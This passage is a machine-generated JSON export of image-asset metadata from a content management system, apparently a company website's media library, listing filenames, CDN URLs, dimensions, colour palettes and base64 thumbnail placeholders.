ty.imagePaletteSwatch","background":"#44443c","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa0b6","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac95ee","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c579f","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efc25f","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-with-console-create-services (1).png","path":"images/sczeoy4w/production/88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500.png","sha1hash":"88b2848ed2d49660e7a2b377d802062d5a6889ed","size":70022,"uploadId":"2M74wdhaWj1KBpE4W6qqF2E5I6FzihBP","url":"https://cdn.sanity.io/images/sczeoy4w/production/88b2848ed2d49660e7a2b377d802062d5a6889ed-2667x1500.png"} {"_createdAt":"2024-10-11T07:46:27Z","_id":"image-364de6f9171803183a824acb19a26af6f70a1a44-1200x628-png","_rev":"exgZYl4YMpSEzTrzwwCwgq","_type":"sanity.imageAsset","_updatedAt":"2024-10-11T07:46:27Z","assetId":"364de6f9171803183a824acb19a26af6f70a1a44","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69Z~g5O=:Zz0P~UET%Lng9y00==R.p0$c","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACnElEQVQokWWSyU5TARSG7xO4EGmBztMtt5eWUqhMRWlvtVxoKVAGQcEhoFBJUSlDa2daBhGpDTGBnUYewAWJL+AD+ESfsQs3Lk7O4iT/n5zvE263z+PxJ4nE8kRnKqhTB4zFawwG85g636AxpdBa3tJm26HDnkEnFrDKJfyDOaLjWSbjJfyBMiYpR7s9g/A30N23gaJmCU/kUdQCD6IHDIeKOL07mKU0ZmkXg3OfDkcWgzOHry/NysQaJ+sbNPJlUptn9N+vohfzCC0dC8i+dQLKDgFlj6FghnsPC4xGKoyEDxhWavSP1vAMVLB2FbHJGUJDL8jNxLjZfcqvyxpfv1yx8KSOpauK0GpYxNu/SUjNoqg5gmN5whMVxuJHRBNnTM7VUafr3I98pHvwCMn7HmVgiUxU4WZ7md/fzvhxfc2LV5c4vB8RtMYl/MNbqPEC41Nl1HiF8alDYokPxOfPmX7UIDbXIBw9p3fkBKe3iN+3xrNwjKvXz/l52eCi/p2JxAUW9ymCxrCIbzDVhBKZLPIwViYyWWV8+phY4ozYbJ3obAMlek73wCEWuYTTkyUUSPFy7h3byVNmFz8j+2sYOg8Q7ugWkHteEQil//0woOS496DMaKRGcOyYoHrKQPAYR3cJk1RC6j3GP/KBwOghd0eqSL4KZlcBo1REaGlL4LAu4vGsIvcksbuTiJ4ULl8asTuNvWsXmzuDWc6iF99jlEq4+k7oGfpEl/+oWWKR880xuQoItzXTWPUzdIrL2Fxr6OyrGMUNHJ43GMQtNOYUmr8eWneanumdhSZNm7uKUcqhF/fRiXvoxP3mTbjVOkOLNkGrboFWw2PuGFbQmlfRO5K0WzfRmv8XW+8sN3ebbQ+tNY3Wuk2bbReds8gf3J9+fUKr9ugAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#412a2a","foreground":"#fff","population":2.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7bfcb","foreground":"#000","population":11.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a82c4","foreground":"#fff","population":0.78,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d92","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b56850","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Sophos Social Card 2.png","path":"images/sczeoy4w/production/364de6f9171803183a824acb19a26af6f70a1a44-1200x628.png","sha1hash":"364de6f9171803183a824acb19a26af6f70a1a44","size":268444,"uploadId":"iTLCINDSJtJwEI6UKwwxPzOYvvNB1cgg","url":"https://cdn.sanity.io/images/sczeoy4w/production/364de6f9171803183a824acb19a26af6f70a1a44-1200x628.png"} {"_createdAt":"2024-10-11T07:45:51Z","_id":"image-3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628-png","_rev":"exgZYl4YMpSEzTrzwwCvRQ","_type":"sanity.imageAsset","_updatedAt":"2024-10-11T07:45:51Z","assetId":"3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69G@C5O?6e70O~UEm%1ng9z01==NIp0-4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACmElEQVQokU2S2U4TARSG5wlMQGkpnU7ptDPtdAFsGQQtWylW6IKWCq64pMoiVmQtTaeFLoBUCBJjgncafQAvTHwBH8An+gzVRC9O/os/Jznn/z+h1TJDl75ELGmQSFeYuFnlxlSdgVEDu2cFkz2H2fGadnkDi2sbq1pC9u2gDxRJTBZITe2gh3exa8WmL7RYZvCHFolMFIjGDaKTZcYTVa5GSrh7NnBo6zh8W8j+AnbNQNIMgr3rzMWf8WZhkVNjl9zyEVeGa4iqgdDaMYvWM8+1yAaD0TzD14uMxMoMje8SHqtwbaxOOHpA/+g+3t4arkCB0YEnFNNJvm8+4udZnU8fPjL74ASHv4bQJt5pvjwSyzMeN4ilKsRSNWKpPSZuNoinj5lMnzAUa+DX6yiBbSL999hOjPF97SG/Ph/x7etXns6fofS8RTBJdwkOvGxmmJyuksrskcwckMw0mJo5Jpk5IZo4om94H0+wguwr0ht8xuNoko8vnvDj7JT3J1+IT7/HEWggXBLv4AstMjS+9SfDeJlo/PzKPW5MHTI2eYg+VMV9uUSn10DylHB3bRMJ53h+e5W1pQaZu+/w6XVsnipCS/ttJNccWvc8/tAyvmAOf2iVrr5NevoLBPQiSncByZOnQznXMlroAH3wkPDIHn2DNbRghU5vCUkrI7SY0khiBpfyEFnLIrqy2JQFZG8OSX1Fh3MFi3MVi+sPNudL3t43XL56jF/fR+neweEzmmP3lhBaTbeQxTQe9QFObxarK4ukLqB0rWBTc00OTf9xKLpLzTadgRqSVkRU81jVLaxqvukJF9rSXDRP02adpc12n0u2OcydWURlCYu8jLnzL9jOf2CL7t2mtju3MMvrmOU12p2bWN1lfgMTSXo9P8a4AAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#422a29","foreground":"#fff","population":2.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142070","foreground":"#fff","population":12.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c4d2","foreground":"#000","population":9.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e29d81","foreground":"#000","population":1.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d92","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b56850","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Sophos Social Card 1.png","path":"images/sczeoy4w/production/3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628.png","sha1hash":"3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3","size":254851,"uploadId":"kzRwn8Fh5QxlQ058xoHxdpMz1hXnOcUn","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d72e58b9ba08de14e4c5bb8cd17e744146cbbf3-1200x628.png"} {"_createdAt":"2024-10-11T14:26:15Z","_id":"image-3e7e6ad632a408fc40979f4d7bbc1ca38a95c908-500x500-jpg","_rev":"Tpe1Rj6o9fDmGqbWvmubpk","_type":"sanity.imageAsset","_updatedAt":"2024-10-11T14:26:15Z","assetId":"3e7e6ad632a408fc40979f4d7bbc1ca38a95c908","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGDR?4%g7h~Vxwv}IU9aV@i^E1RPM{Ioslx[%M%Lozt6ofxaoJS4t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAUHAgMEBv/EACgQAAIBAwMCBQUAAAAAAAAAAAEDAgAEBRESIQYTBxQiMUIVQVFhcf/EABUBAQEAAAAAAAAAAAAAAAAAAAUG/8QAHREAAgICAwEAAAAAAAAAAAAAAQMAAhESBCEyE//aAAwDAQACEQMRAD8AqHF3ADVb7ZRgeNTH71YLUWOUwjHPjbselekToOP1WnxVRiMXdY76WqKmwUIuhEenj5VwY7IwZbuatCPLhWhiPkfzRzu3bDoRTjalOCcysJ45F05rTDb6yNI+1Kn7W02BncAEjMy0/tKolVTagOsmWtbW5G0m+tbpjuplwYRKBOwxPsRWN5j1WCLgWkmLBI4EuKUoSwG8cWT8jPH4y8e9LJtZKUu4RqaUpTafAgTvZn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#67442e","foreground":"#fff","population":1.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#683916","foreground":"#fff","population":8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ba7c61","foreground":"#fff","population":8.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7c9ac","foreground":"#000","population":0.48,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e49c82","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ba7c61","foreground":"#fff","population":8.77,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2570a8","foreground":"#fff","population":1.9,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"jeff-mery.jpeg","path":"images/sczeoy4w/production/3e7e6ad632a408fc40979f4d7bbc1ca38a95c908-500x500.jpg","sha1hash":"3e7e6ad632a408fc40979f4d7bbc1ca38a95c908","size":76381,"uploadId":"whjUSexhXteYpbhXKdYW7xjJn01w3JIk","url":"https://cdn.sanity.io/images/sczeoy4w/production/3e7e6ad632a408fc40979f4d7bbc1ca38a95c908-500x500.jpg"} {"_createdAt":"2024-10-11T14:31:53Z","_id":"image-a3405d47be3a16ab5ebf3caa81468571a3aa7629-773x773-jpg","_rev":"exgZYl4YMpSEzTrzwxPDJI","_type":"sanity.imageAsset","_updatedAt":"2024-10-11T14:31:53Z","assetId":"a3405d47be3a16ab5ebf3caa81468571a3aa7629","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCF4.l9^0h;d;0{]xWNtJDxvJQ$*,=R*E+TKxFw}n}In9v$%$fEkj?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":773,"width":773},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYEBf/EACYQAAEDBAIBAwUAAAAAAAAAAAECAwQABRESBiETFDFhIiNRgcH/xAAYAQEAAwEAAAAAAAAAAAAAAAAFAQIDBP/EABsRAAIDAAMAAAAAAAAAAAAAAAECAAMRBDJR/9oADAMBAAIRAxEAPwCIsnJIZmtxGfq2OuQMCqm7W2OiI4751gkZO56qH4jbmH2RdX0hUgk6ADCRj4q2kRpF3tOzqUCME5cSVdkj8UddxihU7gMWo5COrhhpEnGrY0E/aZOpOfalZbn6qFIDUWSrxaggK7I+KVVqrVJEhWrYAiYuKOrTxRtSTghf9rs3O5SWIzEVpzVp1Q2x7mlKZdQUXR5CK2IdsPslOYynmruEtuKSkNJ6H7pSlYP2M6E6if/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#775134","foreground":"#fff","population":11.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#703912","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#775134","foreground":"#fff","population":11.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbbab7","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8a64","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6d48","foreground":"#fff","population":11.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c87850","foreground":"#fff","population":11.31,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"conor-forde.jpg","path":"images/sczeoy4w/production/a3405d47be3a16ab5ebf3caa81468571a3aa7629-773x773.jpg","sha1hash":"a3405d47be3a16ab5ebf3caa81468571a3aa7629","size":131214,"uploadId":"B4Fw0O4S9A1dZExis1KVXCiXoWP9VR2S","url":"https://cdn.sanity.io/images/sczeoy4w/production/a3405d47be3a16ab5ebf3caa81468571a3aa7629-773x773.jpg"} {"_createdAt":"2024-10-01T20:25:16Z","_id":"image-4830a516436c8c876dced04a9c10f57288ae3291-1320x720-png","_rev":"aUZ7RLz26hS2cUekFrpT5r","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T20:25:16Z","assetId":"4830a516436c8c876dced04a9c10f57288ae3291","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Ss89%MV@xb_2~pIWayt6M|$*xYR*WXWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8333333333333333,"height":720,"width":1320},"exif":{"PixelXDimension":1320,"PixelYDimension":720,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVQokW1Sa2/bMBDL//91Q7ag2Ldhw9a1axxZr9M9ZBYnZanbxgAtQz7xjhQPzIzWGMwKEYNIn6sqzAzbtn1C7/2G7cO/g2+KKEohlFIHaiV4o3sHfI9ZQHS/5gBgTBcuGcsSEMKKlBKI2ii+PX6gG4wFtRByLu8I+3U9+IubISw0SH1Cag0i8nlCVSgRSqrIud5q+k7+JJSOEBsukZAqIzdBYUUVGyA1NO0TPO1xwjYaT693hACrYUkVzyHjJVacM+FSGgIJ1qaITZGkI+s2GpRKSOmqhibpGyEwbjSmiMsasaaK6BMQoYlCrENsg/QN2jeI2SBa14hSpo9me8INY4NqGQXe0WMkwlcpbvib6b4X1oS/TwvOS0IuHjuXvfPQizwG/yV4LNxwl8JiYPZ8Tq9YFH8eI46nfzieznj4HvDrd0Yl/UjYroQzX06gau8wM2t4fCr49rDgy9czjqcFP34m1LojnGHlQeY359+q05d78NyWKihlYi/5FSP0XE4XV4t+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d3c82","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a219e","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3841ba","foreground":"#fff","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a6bc","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99a0ef","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6454b1","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3841ba","foreground":"#fff","population":0.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Metrics-setup.png","path":"images/sczeoy4w/production/4830a516436c8c876dced04a9c10f57288ae3291-1320x720.png","sha1hash":"4830a516436c8c876dced04a9c10f57288ae3291","size":201337,"uploadId":"Cktt7aonDvjrKsTHe2uDsiGHRCC6kFlX","url":"https://cdn.sanity.io/images/sczeoy4w/production/4830a516436c8c876dced04a9c10f57288ae3291-1320x720.png"} {"_createdAt":"2025-01-08T10:34:20Z","_id":"image-c0f5ad36c42c1d48006f2dcaabe6009baa8fa106-1200x628-png","_rev":"WGpW0hSmmnbg5Pb8TyJDe6","_type":"sanity.imageAsset","_updatedAt":"2025-01-08T10:34:20Z","assetId":"c0f5ad36c42c1d48006f2dcaabe6009baa8fa106","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96uA1xQMws.V[?woyM_ogWCoJafoJoNW9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACHUlEQVR4nE3R/U9SURjAcf4CNOGe+3443HMPFy4qzOlIbZAQKVC8XC2Y4SwVRd4JhQsioDedG9XClra2/td2s1a/P5893z2PZYrepB05XtrhpV0O7wvkCLrLSG0gtYVndeI/l30j4jOI35B9Q+IfYt8Ies5Y3GaklsUuZOcXi6vhk2BUXw13l4L6SngQjl+F4zeRxDianERe3EaT3zYyd89Tt9HkJBSbzAVuROWMxR0Li7YfBxuJzDCdvYqljdD6MBw3Xm59TGUnqddf07n7zPaPzTc/k9nvT2OfViLjwNoXdWkMVUNQDBMvLFefJc5i6VEkNgiEestr55H49XpqvJH+HMvcJrbu4tr9k+iY+Hqiu4u8hkO9Ej3X0Du2zHCvOCnv9Oxh76GkHkGliDxVMt9S/B3PQl9dHHmXPqiLhjSrM1KddjZZWedIn1cuRc+NxQo0K9Cm6K1pJveIzc/wb+3iAeU4BqhijuJTjnRZWaeddQpVaKnJ4s6DF9zGH2wF/+MCBY8BqtKozpi+zcptYOIqg0940uddfY70eNfAMk1rFKvRQhbAvF3cneHf/cUVCpYpRwmgOi01gbMGnHUW64JywStDVu6a17YzGRlqqnvHNXfIywc2Yc8mFh6yKViyi4cULAFUA6hGS+9/115yrnMGn5p/ttEZJGouksdqgcP7NuHfZuAo2+ERBYumdDbMZmUgKBcc6TFSi5FavwDrSZhKtrb7dAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4671","foreground":"#fff","population":0.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.26,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":10.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d9ea","foreground":"#000","population":5.49,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a7fc6","foreground":"#fff","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687096","foreground":"#fff","population":1.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2886","foreground":"#fff","population":8.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aivens-favorite-kafka-connectors.png","path":"images/sczeoy4w/production/c0f5ad36c42c1d48006f2dcaabe6009baa8fa106-1200x628.png","sha1hash":"c0f5ad36c42c1d48006f2dcaabe6009baa8fa106","size":143789,"uploadId":"S3tseLE7iIEf5hLXQAnFG3wkJsmvVWpE","url":"https://cdn.sanity.io/images/sczeoy4w/production/c0f5ad36c42c1d48006f2dcaabe6009baa8fa106-1200x628.png"} {"_createdAt":"2024-10-28T17:02:18Z","_id":"image-0993e781370f34d42c191667ccb32d5ee9a6fb93-271x186-jpg","_rev":"ZxCjdMWwjhy9DmKAIa0dAL","_type":"sanity.imageAsset","_updatedAt":"2024-10-28T17:02:18Z","assetId":"0993e781370f34d42c191667ccb32d5ee9a6fb93","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDF5Np?G9ZMcMx8w$wtRx]?G~Uo}WURiE2D*WA%2xuxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.456989247311828,"height":186,"width":271},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHBP/EACUQAAICAQMDBAMAAAAAAAAAAAECAwQABQYREhMiByExQTJRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAUCA//EABsRAQACAgMAAAAAAAAAAAAAAAEAAwIRISJR/9oADAMBAAIRAxEAPwBMa6Luqw1550riLwSZF4b+E5m3MidmdRfEhiBIZR+WNPp/syPcGivZ1e2ZEQjhFjAPUfsnBdsaRb3lJRsQtLDCpEfPjwV/fHzhpVjXjtiBfkqEk9qSWVkZXkfwAJdvfnDKNNtdorNhFFQRiQ9A7fwv0MM1La9cEjv7P//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#554d30","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#723809","foreground":"#fff","population":2.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a07f56","foreground":"#fff","population":6.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5c59f","foreground":"#000","population":0.23,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eac197","foreground":"#000","population":0.32,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07f56","foreground":"#fff","population":6.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c39340","foreground":"#000","population":0.68,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"trattoria reggiano.jpeg","path":"images/sczeoy4w/production/0993e781370f34d42c191667ccb32d5ee9a6fb93-271x186.jpg","sha1hash":"0993e781370f34d42c191667ccb32d5ee9a6fb93","size":12717,"uploadId":"vIxEUjg0VOi72kBs1YML1g54YyaETtue","url":"https://cdn.sanity.io/images/sczeoy4w/production/0993e781370f34d42c191667ccb32d5ee9a6fb93-271x186.jpg"} {"_createdAt":"2025-01-15T14:57:04Z","_id":"image-d0f063b58b9ce4eb01404f6d3f84d789e8df72b7-603x322-png","_rev":"whpRLkwvxva49hcLZ4vqlh","_type":"sanity.imageAsset","_updatedAt":"2025-01-15T14:57:04Z","assetId":"d0f063b58b9ce4eb01404f6d3f84d789e8df72b7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M58;TPi^t:5R9EFUW*v}#,V@00-?ITXQ-?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8726708074534162,"height":322,"width":603},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACoklEQVR4nHWSS08TURTH5wsInUqnnWlnSikFCgX6AIqtNDzK0xpQMFIK7bRQ7ENBjbwE1PCK0QULYxT3ujN+AGPcuHHv9/mZuaI7F7/8z7n35uScc//SFcc8Fg3KPA2X+vfsfzQoCzS6FpHVZWyX2DUTu1ZCsjnv0ORZRDGWcFp4l3DoWYGiZ0Xu9OaEuppzKEYWWb2LrC5h1/LIal4UlK1YM5EcnkVau1bpjFYIxaqE+qp0RSt/iFTojFQIhMr4giXxzttmctWdxabmaNJLOH1lmgwTm5YThSWtZZmB65ukZ/ZI39hjdHqXseldoUPpJ/QlNmhuL4rOrAkc+hKyuojiLdI9uMfo7Cvi6UP0jnVkLYfkac2TSm8xnz0WzMwdCKZnDxiZ3CY58lh06+sw8bYVMAJ53P4Cof4dzPonjs6/8ejFZ1I3T1CaS0gef57E8CMytw7J3D5kdGqb4YktoVYxK07P7DI2tUNqfItY4gFtPVWS6ZfsHX3nw8dfvL74wXzpPVqgYo1sEgzXCMc36Y1v0hmtibwrep/2Xmun94kMbhCO1+npr9IaWkPzF+keOKBY+8LJ+U92T76SvnWOq6WCFIw8pXfwkFjyOZHEM7r79wlHt0jF6kz0lRmJVegO1VB9JezuP/uzftjlWydy7Zjp2xeMZM4J9D6hSV9DSoy9YWL2HZmFC3E5lnlLZvyUjckqxzdW2J5cZeraY4xAnUZ1hUaXZZucsIzbWybYUScY2sAXrOP230PqiR/TnzolPnzGwPAZfUOnJBP7zCWrLA+VWEiuMxh9iKe1jt1d/Gdmy3cevUDIbxLuqdEZeSiKSoph4tALOCy9RDEKOI08LmMFp55H0QtcdZvIqolNXREelLUCitvEYxQxWsqiO1fzOr8BB3CFm+uqMrgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333a59","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":30.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":30.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb39a","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb884f","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#586fa1","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd4f19","foreground":"#fff","population":1.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2025-01-15 at 15.56.55.png","path":"images/sczeoy4w/production/d0f063b58b9ce4eb01404f6d3f84d789e8df72b7-603x322.png","sha1hash":"d0f063b58b9ce4eb01404f6d3f84d789e8df72b7","size":149798,"uploadId":"QxGrfybevfupw7Pe4uVOq6BjkMPuiCD5","url":"https://cdn.sanity.io/images/sczeoy4w/production/d0f063b58b9ce4eb01404f6d3f84d789e8df72b7-603x322.png"} {"_createdAt":"2024-10-01T20:50:35Z","_id":"image-32a0f5f29b10096408155ccca816e5f51dc2a627-1313x720-png","_rev":"8q08tYxGNL2qfrtMKVW4PE","_type":"sanity.imageAsset","_updatedAt":"2024-10-01T20:50:35Z","assetId":"32a0f5f29b10096408155ccca816e5f51dc2a627","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M2SF|lD*9F~qn,0=IBt6IVn*0xWAWARjxs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.823611111111111,"height":720,"width":1313},"exif":{"PixelXDimension":1313,"PixelYDimension":720,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABS0lEQVQokY3Q627bMAwFYL3/Ew7FsrYI0syxY8u6kpSUM9BOsjhogP74IBKSjkCZ3noc+hH7bsDxbDGGjDnLhruhrfs+qYLIBeavy9h1E34derwdz/jdTUu/6yx2J7usf04W74PDx9nffY5h0+9tQh8FZvCE/eDw2VscRo+vKazs1RRwtBGdzzgFfkJ3QxTMXGFmnzHagGkOCImQWR6UqwqSFZcKqQ1SLxulrYzzGfMc4VxECAkxZaREDwQpF6SsK4NIUEpFrW1RSoNIhZS61Mb7DOcSfM